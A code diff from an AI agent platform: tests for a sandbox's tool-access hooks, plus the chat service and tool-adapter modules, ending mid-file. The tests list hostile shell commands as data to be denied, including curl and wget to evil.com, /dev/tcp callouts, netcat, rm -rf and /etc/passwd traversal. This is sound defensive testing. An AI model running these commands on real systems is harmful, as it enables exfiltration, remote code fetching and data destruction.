+from .security_hooks import _validate_tool_access, _validate_user_isolation
+
+SDK_CWD = "/tmp/copilot-abc123"
+
+
+def _is_denied(result: dict) -> bool:
+    hook = result.get("hookSpecificOutput", {})
+    return hook.get("permissionDecision") == "deny"
+
+
+# -- Blocked tools -----------------------------------------------------------
+
+
+def test_blocked_tools_denied():
+    for tool in ("bash", "shell", "exec", "terminal", "command"):
+        result = _validate_tool_access(tool, {})
+        assert _is_denied(result), f"{tool} should be blocked"
+
+
+def test_unknown_tool_allowed():
+    result = _validate_tool_access("SomeCustomTool", {})
+    assert result == {}
+
+
+# -- Workspace-scoped tools --------------------------------------------------
+
+
+def test_read_within_workspace_allowed():
+    result = _validate_tool_access(
+        "Read", {"file_path": f"{SDK_CWD}/file.txt"}, sdk_cwd=SDK_CWD
+    )
+    assert result == {}
+
+
+def test_write_within_workspace_allowed():
+    result = _validate_tool_access(
+        "Write", {"file_path": f"{SDK_CWD}/output.json"}, sdk_cwd=SDK_CWD
+    )
+    assert result == {}
+
+
+def test_edit_within_workspace_allowed():
+    result = _validate_tool_access(
+        "Edit", {"file_path": f"{SDK_CWD}/src/main.py"}, sdk_cwd=SDK_CWD
+    )
+    assert result == {}
+
+
+def test_glob_within_workspace_allowed():
+    result = _validate_tool_access("Glob", {"path": f"{SDK_CWD}/src"}, sdk_cwd=SDK_CWD)
+    assert result == {}
+
+
+def test_grep_within_workspace_allowed():
+    result = _validate_tool_access("Grep", {"path": f"{SDK_CWD}/src"}, sdk_cwd=SDK_CWD)
+    assert result == {}
+
+
+def test_read_outside_workspace_denied():
+    result = _validate_tool_access(
+        "Read", {"file_path": "/etc/passwd"}, sdk_cwd=SDK_CWD
+    )
+    assert _is_denied(result)
+
+
+def test_write_outside_workspace_denied():
+    result = _validate_tool_access(
+        "Write", {"file_path": "/home/user/secrets.txt"}, sdk_cwd=SDK_CWD
+    )
+    assert _is_denied(result)
+
+
+def test_traversal_attack_denied():
+    result = _validate_tool_access(
+        "Read",
+        {"file_path": f"{SDK_CWD}/../../etc/passwd"},
+        sdk_cwd=SDK_CWD,
+    )
+    assert _is_denied(result)
+
+
+def test_no_path_allowed():
+    """Glob/Grep without a path argument defaults to cwd — should pass."""
+    result = _validate_tool_access("Glob", {}, sdk_cwd=SDK_CWD)
+    assert result == {}
+
+
+def test_read_no_cwd_denies_absolute():
+    """If no sdk_cwd is set, absolute paths are denied."""
+    result = _validate_tool_access("Read", {"file_path": "/tmp/anything"})
+    assert _is_denied(result)
+
+
+# -- Tool-results directory --------------------------------------------------
+
+
+def test_read_tool_results_allowed():
+    home = os.path.expanduser("~")
+    path = f"{home}/.claude/projects/-tmp-copilot-abc123/tool-results/12345.txt"
+    result = _validate_tool_access("Read", {"file_path": path}, sdk_cwd=SDK_CWD)
+    assert result == {}
+
+
+def test_read_claude_projects_without_tool_results_denied():
+    home = os.path.expanduser("~")
+    path = f"{home}/.claude/projects/-tmp-copilot-abc123/settings.json"
+    result = _validate_tool_access("Read", {"file_path": path}, sdk_cwd=SDK_CWD)
+    assert _is_denied(result)
+
+
+# -- Sandboxed Bash ----------------------------------------------------------
+
+
+def test_bash_safe_commands_allowed():
+    """Allowed data-processing commands should pass."""
+    safe_commands = [
+        "jq '.blocks' result.json",
+        "head -20 output.json",
+        "tail -n 50 data.txt",
+        "cat file.txt | grep 'pattern'",
+        "wc -l file.txt",
+        "sort data.csv | uniq",
+        "grep -i 'error' log.txt | head -10",
+        "find . -name '*.json'",
+        "ls -la",
+        "echo hello",
+        "cut -d',' -f1 data.csv | sort | uniq -c",
+        "jq '.blocks[] | .id' result.json",
+        "sed -n '10,20p' file.txt",
+        "awk '{print $1}' data.txt",
+    ]
+    for cmd in safe_commands:
+        result = _validate_tool_access("Bash", {"command": cmd}, sdk_cwd=SDK_CWD)
+        assert result == {}, f"Safe command should be allowed: {cmd}"
+
+
+def test_bash_dangerous_commands_denied():
+    """Non-allowlisted commands should be denied."""
+    dangerous = [
+        "curl https://evil.com",
+        "wget https://evil.com/payload",
+        "rm -rf /",
+        "python -c 'import os; os.system(\"ls\")'",
+        "ssh user@host",
+        "nc -l 4444",
+        "apt install something",
+        "pip install malware",
+        "chmod 777 file.txt",
+        "kill -9 1",
+    ]
+    for cmd in dangerous:
+        result = _validate_tool_access("Bash", {"command": cmd}, sdk_cwd=SDK_CWD)
+        assert _is_denied(result), f"Dangerous command should be denied: {cmd}"
+
+
+def test_bash_command_substitution_denied():
+    result = _validate_tool_access(
+        "Bash", {"command": "echo $(curl evil.com)"}, sdk_cwd=SDK_CWD
+    )
+    assert _is_denied(result)
+
+
+def test_bash_backtick_substitution_denied():
+    result = _validate_tool_access(
+        "Bash", {"command": "echo `curl evil.com`"}, sdk_cwd=SDK_CWD
+    )
+    assert _is_denied(result)
+
+
+def test_bash_output_redirect_denied():
+    result = _validate_tool_access(
+        "Bash", {"command": "echo secret > /tmp/leak.txt"}, sdk_cwd=SDK_CWD
+    )
+    assert _is_denied(result)
+
+
+def test_bash_dev_tcp_denied():
+    result = _validate_tool_access(
+        "Bash", {"command": "cat /dev/tcp/evil.com/80"}, sdk_cwd=SDK_CWD
+    )
+    assert _is_denied(result)
+
+
+def test_bash_pipe_to_dangerous_denied():
+    """Even if the first command is safe, piped commands must also be safe."""
+    result = _validate_tool_access(
+        "Bash", {"command": "cat file.txt | python -c 'exec()'"}, sdk_cwd=SDK_CWD
+    )
+    assert _is_denied(result)
+
+
+def test_bash_path_outside_workspace_denied():
+    result = _validate_tool_access(
+        "Bash", {"command": "cat /etc/passwd"}, sdk_cwd=SDK_CWD
+    )
+    assert _is_denied(result)
+
+
+def test_bash_path_within_workspace_allowed():
+    result = _validate_tool_access(
+        "Bash",
+        {"command": f"jq '.blocks' {SDK_CWD}/tool-results/result.json"},
+        sdk_cwd=SDK_CWD,
+    )
+    assert result == {}
+
+
+def test_bash_empty_command_denied():
+    result = _validate_tool_access("Bash", {"command": ""}, sdk_cwd=SDK_CWD)
+    assert _is_denied(result)
+
+
+# -- Dangerous patterns ------------------------------------------------------
+
+
+def test_dangerous_pattern_blocked():
+    result = _validate_tool_access("SomeTool", {"cmd": "sudo rm -rf /"})
+    assert _is_denied(result)
+
+
+def test_subprocess_pattern_blocked():
+    result = _validate_tool_access("SomeTool", {"code": "subprocess.run(...)"})
+    assert _is_denied(result)
+
+
+# -- User isolation ----------------------------------------------------------
+
+
+def test_workspace_path_traversal_blocked():
+    result = _validate_user_isolation(
+        "workspace_read", {"path": "../../../etc/shadow"}, user_id="user-1"
+    )
+    assert _is_denied(result)
+
+
+def test_workspace_absolute_path_blocked():
+    result = _validate_user_isolation(
+        "workspace_read", {"path": "/etc/passwd"}, user_id="user-1"
+    )
+    assert _is_denied(result)
+
+
+def test_workspace_normal_path_allowed():
+    result = _validate_user_isolation(
+        "workspace_read", {"path": "src/main.py"}, user_id="user-1"
+    )
+    assert result == {}
+
+
+def test_non_workspace_tool_passes_isolation():
+    result = _validate_user_isolation(
+        "find_agent", {"query": "email"}, user_id="user-1"
+    )
+    assert result == {}

autogpt_platform/backend/backend/api/features/chat/sdk/service.py

@@ -0,0 +1,556 @@
+"""Claude Agent SDK service layer for CoPilot chat completions."""
+
+import asyncio
+import json
+import logging
+import os
+import re
+import uuid
+from collections.abc import AsyncGenerator
+from typing import Any
+
+from backend.util.exceptions import NotFoundError
+
+from ..config import ChatConfig
+from ..model import (
+    ChatMessage,
+    ChatSession,
+    Usage,
+    get_chat_session,
+    update_session_title,
+    upsert_chat_session,
+)
+from ..response_model import (
+    StreamBaseResponse,
+    StreamError,
+    StreamFinish,
+    StreamStart,
+    StreamTextDelta,
+    StreamToolInputAvailable,
+    StreamToolOutputAvailable,
+    StreamUsage,
+)
+from ..service import _build_system_prompt, _generate_session_title
+from ..tracking import track_user_message
+from .anthropic_fallback import stream_with_anthropic
+from .response_adapter import SDKResponseAdapter
+from .security_hooks import create_security_hooks
+from .tool_adapter import (
+    COPILOT_TOOL_NAMES,
+    create_copilot_mcp_server,
+    set_execution_context,
+)
+from .tracing import TracedSession, create_tracing_hooks, merge_hooks
+
+logger = logging.getLogger(__name__)
+config = ChatConfig()
+
+# Set to hold background tasks to prevent garbage collection
+_background_tasks: set[asyncio.Task[Any]] = set()
+
+
+_SDK_CWD_PREFIX = "/tmp/copilot-"
+
+# Appended to the system prompt to inform the agent about Bash restrictions.
+# The SDK already describes each tool (Read, Write, Edit, Glob, Grep, Bash),
+# but it doesn't know about our security hooks' command allowlist for Bash.
+_SDK_TOOL_SUPPLEMENT = """
+
+## Bash restrictions
+
+The Bash tool is restricted to safe, read-only data-processing commands:
+jq, grep, head, tail, cat, wc, sort, uniq, cut, tr, sed, awk, find, ls,
+echo, diff, base64, and similar utilities.
+Network commands (curl, wget), destructive commands (rm, chmod), and
+interpreters (python, node) are NOT available.
+"""
+
+
+def _resolve_sdk_model() -> str | None:
+    """Resolve the model name for the Claude Agent SDK CLI.
+
+    Uses ``config.claude_agent_model`` if set, otherwise derives from
+    ``config.model`` by stripping the OpenRouter provider prefix (e.g.,
+    ``"anthropic/claude-opus-4.6"`` → ``"claude-opus-4.6"``).
+    """
+    if config.claude_agent_model:
+        return config.claude_agent_model
+    model = config.model
+    if "/" in model:
+        return model.split("/", 1)[1]
+    return model
+
+
+def _build_sdk_env() -> dict[str, str]:
+    """Build env vars for the SDK CLI process.
+
+    Routes API calls through OpenRouter (or a custom base_url) using
+    the same ``config.api_key`` / ``config.base_url`` as the non-SDK path.
+    This gives per-call token and cost tracking on the OpenRouter dashboard.
+
+    Only overrides ``ANTHROPIC_API_KEY`` when a valid proxy URL and auth
+    token are both present — otherwise returns an empty dict so the SDK
+    falls back to its default credentials.
+    """
+    env: dict[str, str] = {}
+    if config.api_key and config.base_url:
+        # Strip /v1 suffix — SDK expects the base URL without a version path
+        base = config.base_url.rstrip("/")
+        if base.endswith("/v1"):
+            base = base[:-3]
+        if not base or not base.startswith("http"):
+            # Invalid base_url — don't override SDK defaults
+            return env
+        env["ANTHROPIC_BASE_URL"] = base
+        env["ANTHROPIC_AUTH_TOKEN"] = config.api_key
+        # Must be explicitly empty so the CLI uses AUTH_TOKEN instead
+        env["ANTHROPIC_API_KEY"] = ""
+    return env
+
+
+def _make_sdk_cwd(session_id: str) -> str:
+    """Create a safe, session-specific working directory path.
+
+    Sanitizes session_id, then validates the resulting path stays under /tmp/
+    using normpath + startswith (the pattern CodeQL recognises as a sanitizer).
+    """
+    # Step 1: Sanitize - only allow alphanumeric and hyphens
+    safe_id = re.sub(r"[^A-Za-z0-9-]", "", session_id)
+    if not safe_id:
+        raise ValueError("Session ID is empty after sanitization")
+
+    # Step 2: Construct path with known-safe prefix
+    cwd = os.path.normpath(f"{_SDK_CWD_PREFIX}{safe_id}")
+
+    # Step 3: Validate the path is still under our prefix (prevent traversal)
+    if not cwd.startswith(_SDK_CWD_PREFIX):
+        raise ValueError(f"Session path escaped prefix: {cwd}")
+
+    # Step 4: Additional assertion for defense-in-depth
+    assert cwd.startswith("/tmp/copilot-"), f"Path validation failed: {cwd}"
+
+    return cwd
+
+
+def _cleanup_sdk_tool_results(cwd: str) -> None:
+    """Remove SDK tool-result files for a specific session working directory.
+
+    The SDK creates tool-result files under ~/.claude/projects/<encoded-cwd>/tool-results/.
+    We clean only the specific cwd's results to avoid race conditions between
+    concurrent sessions.
+
+    Security: cwd MUST be created by _make_sdk_cwd() which sanitizes session_id.
+    """
+    import shutil
+
+    # Security check 1: Validate cwd is under the expected prefix
+    normalized = os.path.normpath(cwd)
+    if not normalized.startswith(_SDK_CWD_PREFIX):
+        logger.warning(f"[SDK] Rejecting cleanup for invalid path: {cwd}")
+        return
+
+    # Security check 2: Ensure no path traversal in the normalized path
+    if ".." in normalized:
+        logger.warning(f"[SDK] Rejecting cleanup for traversal attempt: {cwd}")
+        return
+
+    # SDK encodes the cwd path by replacing '/' with '-'
+    encoded_cwd = normalized.replace("/", "-")
+
+    # Construct the project directory path (known-safe home expansion)
+    claude_projects = os.path.expanduser("~/.claude/projects")
+    project_dir = os.path.join(claude_projects, encoded_cwd)
+
+    # Security check 3: Validate project_dir is under ~/.claude/projects
+    project_dir = os.path.normpath(project_dir)
+    if not project_dir.startswith(claude_projects):
+        logger.warning(
+            f"[SDK] Rejecting cleanup for escaped project path: {project_dir}"
+        )
+        return
+
+    results_dir = os.path.join(project_dir, "tool-results")
+    if os.path.isdir(results_dir):
+        for filename in os.listdir(results_dir):
+            file_path = os.path.join(results_dir, filename)
+            try:
+                if os.path.isfile(file_path):
+                    os.remove(file_path)
+            except OSError:
+                pass
+
+    # Also clean up the temp cwd directory itself
+    try:
+        shutil.rmtree(normalized, ignore_errors=True)
+    except OSError:
+        pass
+
+
+async def _compress_conversation_history(
+    session: ChatSession,
+) -> list[ChatMessage]:
+    """Compress prior conversation messages if they exceed the token threshold.
+
+    Uses the shared compress_context() from prompt.py which supports:
+    - LLM summarization of old messages (keeps recent ones intact)
+    - Progressive content truncation as fallback
+    - Middle-out deletion as last resort
+
+    Returns the compressed prior messages (everything except the current message).
+    """
+    prior = session.messages[:-1]
+    if len(prior) < 2:
+        return prior
+
+    from backend.util.prompt import compress_context
+
+    # Convert ChatMessages to dicts for compress_context
+    messages_dict = []
+    for msg in prior:
+        msg_dict: dict[str, Any] = {"role": msg.role}
+        if msg.content:
+            msg_dict["content"] = msg.content
+        if msg.tool_calls:
+            msg_dict["tool_calls"] = msg.tool_calls
+        if msg.tool_call_id:
+            msg_dict["tool_call_id"] = msg.tool_call_id
+        messages_dict.append(msg_dict)
+
+    try:
+        import openai
+
+        async with openai.AsyncOpenAI(
+            api_key=config.api_key, base_url=config.base_url, timeout=30.0
+        ) as client:
+            result = await compress_context(
+                messages=messages_dict,
+                model=config.model,
+                client=client,
+            )
+    except Exception as e:
+        logger.warning(f"[SDK] Context compression with LLM failed: {e}")
+        # Fall back to truncation-only (no LLM summarization)
+        result = await compress_context(
+            messages=messages_dict,
+            model=config.model,
+            client=None,
+        )
+
+    if result.was_compacted:
+        logger.info(
+            f"[SDK] Context compacted: {result.original_token_count} -> "
+            f"{result.token_count} tokens "
+            f"({result.messages_summarized} summarized, "
+            f"{result.messages_dropped} dropped)"
+        )
+        # Convert compressed dicts back to ChatMessages
+        return [
+            ChatMessage(
+                role=m["role"],
+                content=m.get("content"),
+                tool_calls=m.get("tool_calls"),
+                tool_call_id=m.get("tool_call_id"),
+            )
+            for m in result.messages
+        ]
+
+    return prior
+
+
+def _format_conversation_context(messages: list[ChatMessage]) -> str | None:
+    """Format conversation messages into a context prefix for the user message.
+
+    Returns a string like:
+        <conversation_history>
+        User: hello
+        You responded: Hi! How can I help?
+        </conversation_history>
+
+    Returns None if there are no messages to format.
+    """
+    if not messages:
+        return None
+
+    lines: list[str] = []
+    for msg in messages:
+        if not msg.content:
+            continue
+        if msg.role == "user":
+            lines.append(f"User: {msg.content}")
+        elif msg.role == "assistant":
+            lines.append(f"You responded: {msg.content}")
+        # Skip tool messages — they're internal details
+
+    if not lines:
+        return None
+
+    return "<conversation_history>\n" + "\n".join(lines) + "\n</conversation_history>"
+
+
+async def stream_chat_completion_sdk(
+    session_id: str,
+    message: str | None = None,
+    tool_call_response: str | None = None,  # noqa: ARG001
+    is_user_message: bool = True,
+    user_id: str | None = None,
+    retry_count: int = 0,  # noqa: ARG001
+    session: ChatSession | None = None,
+    context: dict[str, str] | None = None,  # noqa: ARG001
+) -> AsyncGenerator[StreamBaseResponse, None]:
+    """Stream chat completion using Claude Agent SDK.
+
+    Drop-in replacement for stream_chat_completion with improved reliability.
+    """
+
+    if session is None:
+        session = await get_chat_session(session_id, user_id)
+
+    if not session:
+        raise NotFoundError(
+            f"Session {session_id} not found. Please create a new session first."
+        )
+
+    if message:
+        session.messages.append(
+            ChatMessage(
+                role="user" if is_user_message else "assistant", content=message
+            )
+        )
+        if is_user_message:
+            track_user_message(
+                user_id=user_id, session_id=session_id, message_length=len(message)
+            )
+
+    session = await upsert_chat_session(session)
+
+    # Generate title for new sessions (first user message)
+    if is_user_message and not session.title:
+        user_messages = [m for m in session.messages if m.role == "user"]
+        if len(user_messages) == 1:
+            first_message = user_messages[0].content or message or ""
+            if first_message:
+                task = asyncio.create_task(
+                    _update_title_async(session_id, first_message, user_id)
+                )
+                _background_tasks.add(task)
+                task.add_done_callback(_background_tasks.discard)
+
+    # Build system prompt (reuses non-SDK path with Langfuse support)
+    has_history = len(session.messages) > 1
+    system_prompt, _ = await _build_system_prompt(
+        user_id, has_conversation_history=has_history
+    )
+    system_prompt += _SDK_TOOL_SUPPLEMENT
+    message_id = str(uuid.uuid4())
+    text_block_id = str(uuid.uuid4())
+    task_id = str(uuid.uuid4())
+
+    yield StreamStart(messageId=message_id, taskId=task_id)
+
+    stream_completed = False
+    # Use a session-specific temp dir to avoid cleanup race conditions
+    # between concurrent sessions.
+    sdk_cwd = _make_sdk_cwd(session_id)
+    os.makedirs(sdk_cwd, exist_ok=True)
+
+    set_execution_context(user_id, session, None)
+
+    try:
+        try:
+            from claude_agent_sdk import ClaudeAgentOptions, ClaudeSDKClient
+
+            mcp_server = create_copilot_mcp_server()
+
+            sdk_model = _resolve_sdk_model()
+
+            # Initialize Langfuse tracing (no-op if not configured)
+            tracer = TracedSession(session_id, user_id, system_prompt, model=sdk_model)
+
+            # Merge security hooks with optional tracing hooks
+            security_hooks = create_security_hooks(user_id, sdk_cwd=sdk_cwd)
+            tracing_hooks = create_tracing_hooks(tracer)
+            combined_hooks = merge_hooks(security_hooks, tracing_hooks)
+
+            options = ClaudeAgentOptions(
+                system_prompt=system_prompt,
+                mcp_servers={"copilot": mcp_server},  # type: ignore[arg-type]
+                allowed_tools=COPILOT_TOOL_NAMES,
+                hooks=combined_hooks,  # type: ignore[arg-type]
+                cwd=sdk_cwd,
+                max_buffer_size=config.claude_agent_max_buffer_size,
+                model=sdk_model,
+                env=_build_sdk_env(),
+                user=user_id or None,
+                max_budget_usd=config.claude_agent_max_budget_usd,
+            )
+
+            adapter = SDKResponseAdapter(message_id=message_id)
+            adapter.set_task_id(task_id)
+
+            async with tracer, ClaudeSDKClient(options=options) as client:
+                current_message = message or ""
+                if not current_message and session.messages:
+                    last_user = [m for m in session.messages if m.role == "user"]
+                    if last_user:
+                        current_message = last_user[-1].content or ""
+
+                if not current_message.strip():
+                    yield StreamError(
+                        errorText="Message cannot be empty.",
+                        code="empty_prompt",
+                    )
+                    yield StreamFinish()
+                    return
+
+                # Build query with conversation history context.
+                # Compress history first to handle long conversations.
+                query_message = current_message
+                if len(session.messages) > 1:
+                    compressed = await _compress_conversation_history(session)
+                    history_context = _format_conversation_context(compressed)
+                    if history_context:
+                        query_message = (
+                            f"{history_context}\n\n"
+                            f"Now, the user says:\n{current_message}"
+                        )
+
+                logger.info(
+                    f"[SDK] Sending query: {current_message[:80]!r}"
+                    f" ({len(session.messages)} msgs in session)"
+                )
+                tracer.log_user_message(current_message)
+                await client.query(query_message, session_id=session_id)
+
+                assistant_response = ChatMessage(role="assistant", content="")
+                accumulated_tool_calls: list[dict[str, Any]] = []
+                has_appended_assistant = False
+                has_tool_results = False
+
+                async for sdk_msg in client.receive_messages():
+                    logger.debug(
+                        f"[SDK] Received: {type(sdk_msg).__name__} "
+                        f"{getattr(sdk_msg, 'subtype', '')}"
+                    )
+                    tracer.log_sdk_message(sdk_msg)
+                    for response in adapter.convert_message(sdk_msg):
+                        if isinstance(response, StreamStart):
+                            continue
+                        yield response
+
+                        if isinstance(response, StreamTextDelta):
+                            delta = response.delta or ""
+                            # After tool results, start a new assistant
+                            # message for the post-tool text.
+                            if has_tool_results and has_appended_assistant:
+                                assistant_response = ChatMessage(
+                                    role="assistant", content=delta
+                                )
+                                accumulated_tool_calls = []
+                                has_appended_assistant = False
+                                has_tool_results = False
+                                session.messages.append(assistant_response)
+                                has_appended_assistant = True
+                            else:
+                                assistant_response.content = (
+                                    assistant_response.content or ""
+                                ) + delta
+                                if not has_appended_assistant:
+                                    session.messages.append(assistant_response)
+                                    has_appended_assistant = True
+
+                        elif isinstance(response, StreamToolInputAvailable):
+                            accumulated_tool_calls.append(
+                                {
+                                    "id": response.toolCallId,
+                                    "type": "function",
+                                    "function": {
+                                        "name": response.toolName,
+                                        "arguments": json.dumps(response.input or {}),
+                                    },
+                                }
+                            )
+                            assistant_response.tool_calls = accumulated_tool_calls
+                            if not has_appended_assistant:
+                                session.messages.append(assistant_response)
+                                has_appended_assistant = True
+
+                        elif isinstance(response, StreamToolOutputAvailable):
+                            session.messages.append(
+                                ChatMessage(
+                                    role="tool",
+                                    content=(
+                                        response.output
+                                        if isinstance(response.output, str)
+                                        else str(response.output)
+                                    ),
+                                    tool_call_id=response.toolCallId,
+                                )
+                            )
+                            has_tool_results = True
+
+                        elif isinstance(response, StreamUsage):
+                            session.usage.append(
+                                Usage(
+                                    prompt_tokens=response.promptTokens,
+                                    completion_tokens=response.completionTokens,
+                                    total_tokens=response.totalTokens,
+                                )
+                            )
+
+                        elif isinstance(response, StreamFinish):
+                            stream_completed = True
+
+                    if stream_completed:
+                        break
+
+                if (
+                    assistant_response.content or assistant_response.tool_calls
+                ) and not has_appended_assistant:
+                    session.messages.append(assistant_response)
+
+        except ImportError:
+            logger.warning(
+                "[SDK] claude-agent-sdk not available, using Anthropic fallback"
+            )
+            async for response in stream_with_anthropic(
+                session, system_prompt, text_block_id
+            ):
+                if isinstance(response, StreamFinish):
+                    stream_completed = True
+                yield response
+
+        await upsert_chat_session(session)
+        logger.debug(
+            f"[SDK] Session {session_id} saved with {len(session.messages)} messages"
+        )
+        if not stream_completed:
+            yield StreamFinish()
+
+    except Exception as e:
+        logger.error(f"[SDK] Error: {e}", exc_info=True)
+        try:
+            await upsert_chat_session(session)
+        except Exception as save_err:
+            logger.error(f"[SDK] Failed to save session on error: {save_err}")
+        yield StreamError(
+            errorText="An error occurred. Please try again.",
+            code="sdk_error",
+        )
+        yield StreamFinish()
+    finally:
+        _cleanup_sdk_tool_results(sdk_cwd)
+
+
+async def _update_title_async(
+    session_id: str, message: str, user_id: str | None = None
+) -> None:
+    """Background task to update session title."""
+    try:
+        title = await _generate_session_title(
+            message, user_id=user_id, session_id=session_id
+        )
+        if title:
+            await update_session_title(session_id, title)
+            logger.debug(f"[SDK] Generated title for {session_id}: {title}")
+    except Exception as e:
+        logger.warning(f"[SDK] Failed to update session title: {e}")

autogpt_platform/backend/backend/api/features/chat/sdk/tool_adapter.py

@@ -0,0 +1,321 @@
+"""Tool adapter for wrapping existing CoPilot tools as Claude Agent SDK MCP tools.
+
+This module provides the adapter layer that converts existing BaseTool implementations
+into in-process MCP tools that can be used with the Claude Agent SDK.
+"""
+
+import json
+import logging
+import os
+import uuid
+from contextvars import ContextVar
+from typing import Any
+
+from backend.api.features.chat.model import ChatSession
+from backend.api.features.chat.tools import TOOL_REGISTRY
+from backend.api.features.chat.tools.base import BaseTool
+
+logger = logging.getLogger(__name__)
+
+# Allowed base directory for the Read tool (SDK saves oversized tool results here)
+_SDK_TOOL_RESULTS_DIR = os.path.expanduser("~/.claude/")
+
+# MCP server naming - the SDK prefixes tool names as "mcp__{server_name}__{tool}"
+MCP_SERVER_NAME = "copilot"
+MCP_TOOL_PREFIX = f"mcp__{MCP_SERVER_NAME}__"
+
+# Context variables to pass user/session info to tool execution
+_current_user_id: ContextVar[str | None] = ContextVar("current_user_id", default=None)
+_current_session: ContextVar[ChatSession | None] = ContextVar(
+    "current_session", default=None
+)
+_current_tool_call_id: ContextVar[str | None] = ContextVar(
+    "current_tool_call_id", default=None
+)
+
+# Stash for MCP tool outputs before the SDK potentially truncates them.
+# Keyed by tool_name → full output string. Consumed (popped) by the
+# response adapter when it builds StreamToolOutputAvailable.
+_pending_tool_outputs: ContextVar[dict[str, str]] = ContextVar(
+    "pending_tool_outputs", default=None  # type: ignore[arg-type]
+)
+
+
+def set_execution_context(
+    user_id: str | None,
+    session: ChatSession,
+    tool_call_id: str | None = None,
+) -> None:
+    """Set the execution context for tool calls.
+
+    This must be called before streaming begins to ensure tools have access
+    to user_id and session information.
+    """
+    _current_user_id.set(user_id)
+    _current_session.set(session)
+    _current_tool_call_id.set(tool_call_id)
+    _pending_tool_outputs.set({})
+
+
+def get_execution_context() -> tuple[str | None, ChatSession | None, str | None]:
+    """Get the current execution context."""
+    return (
+        _current_user_id.get(),
+        _current_session.get(),
+        _current_tool_call_id.get(),
+    )
+
+
+def pop_pending_tool_output(tool_name: str) -> str | None:
+    """Pop and return the stashed full output for *tool_name*.
+
+    The SDK CLI may truncate large tool results (writing them to disk and
+    replacing the content with a file reference). This stash keeps the
+    original MCP output so the response adapter can forward it to the
+    frontend for proper widget rendering.
+
+    Returns ``None`` if nothing was stashed for *tool_name*.
+    """
+    pending = _pending_tool_outputs.get(None)
+    if pending is None:
+        return None
+    return pending.pop(tool_name, None)
+
+
+def create_tool_handler(base_tool: BaseTool):
+    """Create an async handler function for a BaseTool.
+
+    This wraps the existing BaseTool._execute method to be compatible
+    with the Claude Agent SDK MCP tool format.
+    """
+
+    async def tool_handler(args: dict[str, Any]) -> dict[str, Any]:
+        """Execute the wrapped tool and return MCP-formatted response."""
+        user_id, session, tool_call_id = get_execution_context()
+
+        if session is None:
+            return {
+                "content": [
+                    {
+                        "type": "text",
+                        "text": json.dumps(
+                            {
+                                "error": "No session context available",
+                                "type": "error",
+                            }
+                        ),
+                    }
+                ],
+                "isError": True,
+            }
+
+        try:
+            # Call the existing tool's execute method
+            # Generate unique tool_call_id per invocation for proper correlation
+            effective_id = tool_call_id or f"sdk-{uuid.uuid4().hex[:12]}"
+            result = await base_tool.execute(
+                user_id=user_id,
+                session=session,
+                tool_call_id=effective_id,
+                **args,
+            )
+
+            # The result is a StreamToolOutputAvailable, extract the output
+            text = (
+                result.output
+                if isinstance(result.output, str)
+                else json.dumps(result.output)
+            )
+
+            # Stash the full output before the SDK potentially truncates it.
+            # The response adapter will pop this for frontend widget rendering.
+            pending = _pending_tool_outputs.get(None)
+            if pending is not None:
+                pending[base_tool.name] = text
+
+            return {
+                "content": [{"type": "text", "text": text}],
+                "isError": not result.success,
+            }
+
+        except Exception as e:
+            logger.error(f"Error executing tool {base_tool.name}: {e}", exc_info=True)
+            return {
+                "content": [
+                    {
+                        "type": "text",
+                        "text": json.dumps(
+                            {
+                                "error": str(e),
+                                "type": "error",
+                                "message": f"Failed to execute {base_tool.name}",
+                            }
+                        ),
+                    }
+                ],
+                "isError": True,
+            }
+
+    return tool_handler
+
+
+def _build_input_schema(base_tool: BaseTool) -> dict[str, Any]:
+    """Build a JSON Schema input schema for a tool."""
+    return {
+        "type": "object",
+        "properties": base_tool.parameters.get("properties", {}),
+        "required": base_tool.parameters.get("required", []),
+    }
+
+
+def get_tool_definitions() -> list[dict[str, Any]]:
+    """Get all tool definitions in MCP format.
+
+    Returns a list of tool definitions that can be used with
+    create_sdk_mcp_server or as raw tool definitions.
+    """
+    tool_definitions = []
+
+    for tool_name, base_tool in TOOL_REGISTRY.items():
+        tool_def = {
+            "name": tool_name,
+            "description": base_tool.description,
+            "inputSchema": _build_input_schema(base_tool),
+        }
+        tool_definitions.append(tool_def)
+
+    return tool_definitions
+
+
+def get_tool_handlers() -> dict[str, Any]:
+    """Get all tool handlers mapped by name.
+
+    Returns a dictionary mapping tool names to their handler functions.
+    """
+    handlers = {}
+
+    for tool_name, base_tool in TOOL_REGISTRY.items():
+        handlers[tool_name] = create_tool_handler(base_tool)
+
+    return handlers
+
+
+async def _read_file_handler(args: dict[str, Any]) -> dict[str, Any]:
+    """Read a file with optional offset/limit. Restricted to SDK working directory.
+
+    After reading, the file is deleted to prevent accumulation in long-running pods.
+    """
+    file_path = args.get("file_path", "")
+    offset = args.get("offset", 0)
+    limit = args.get("limit", 2000)
+
+    # Security: only allow reads under the SDK's working directory
+    real_path = os.path.realpath(file_path)
+    if not real_path.startswith(_SDK_TOOL_RESULTS_DIR):
+        return {
+            "content": [{"type": "text", "text": f"Access denied: {file_path}"}],
+            "isError": True,
+        }
+
+    try:
+        with open(real_path) as f:
+            lines = f.readlines()
+        selected = lines[offset : offset + limit]
+        content = "".join(selected)
+        return {"content": [{"type": "text", "text": content}], "isError": False}
+    except FileNotFoundError:
+        return {
+            "content": [{"type": "text", "text": f"File not found: {file_path}"}],
+            "isError": True,
+        }
+    except Exception as e:
+        return {
+            "content": [{"type": "text", "text": f"Error reading file: {e}"}],
+            "isError": True,
+        }
+
+
+_READ_TOOL_NAME = "Read"
+_READ_TOOL_DESCRIPTION = (
+    "Read a file from the local filesystem. "
+    "Use offset and limit to read specific line ranges for large files."
+)
+_READ_TOOL_SCHEMA = {
+    "type": "object",
+    "properties": {
+        "file_path": {
+            "type": "string",
+            "description": "The absolute path to the file to read",
+        },
+        "offset": {
+            "type": "integer",
+            "description": "Line number to start reading from (0-indexed). Default: 0",
+        },
+        "limit": {
+            "type": "integer",
+            "description": "Number of lines to read. Default: 2000",
+        },
+    },
+    "required": ["file_path"],
+}
+
+
+# Create the MCP server configuration
+def create_copilot_mcp_server():
+    """Create an in-process MCP server configuration for CoPilot tools.
+
+    This can be passed to ClaudeAgentOptions.mcp_servers.
+
+    Note: The actual SDK MCP server creation depends on the claude-agent-sdk
+    package being available. This function returns the configuration that
+    can be used with the SDK.
+    """
+    try:
+        from claude_agent_sdk import create_sdk_mcp_server, tool
+
+        # Create decorated tool functions
+        sdk_tools = []
+
+        for tool_name, base_tool in TOOL_REGISTRY.items():
+            handler = create_tool_handler(base_tool)
+            decorated = tool(
+                tool_name,
+                base_tool.description,
+                _build_input_schema(base_tool),
+            )(handler)
+            sdk_tools.append(decorated)
+
+        # Add the Read tool so the SDK can read back oversized tool results
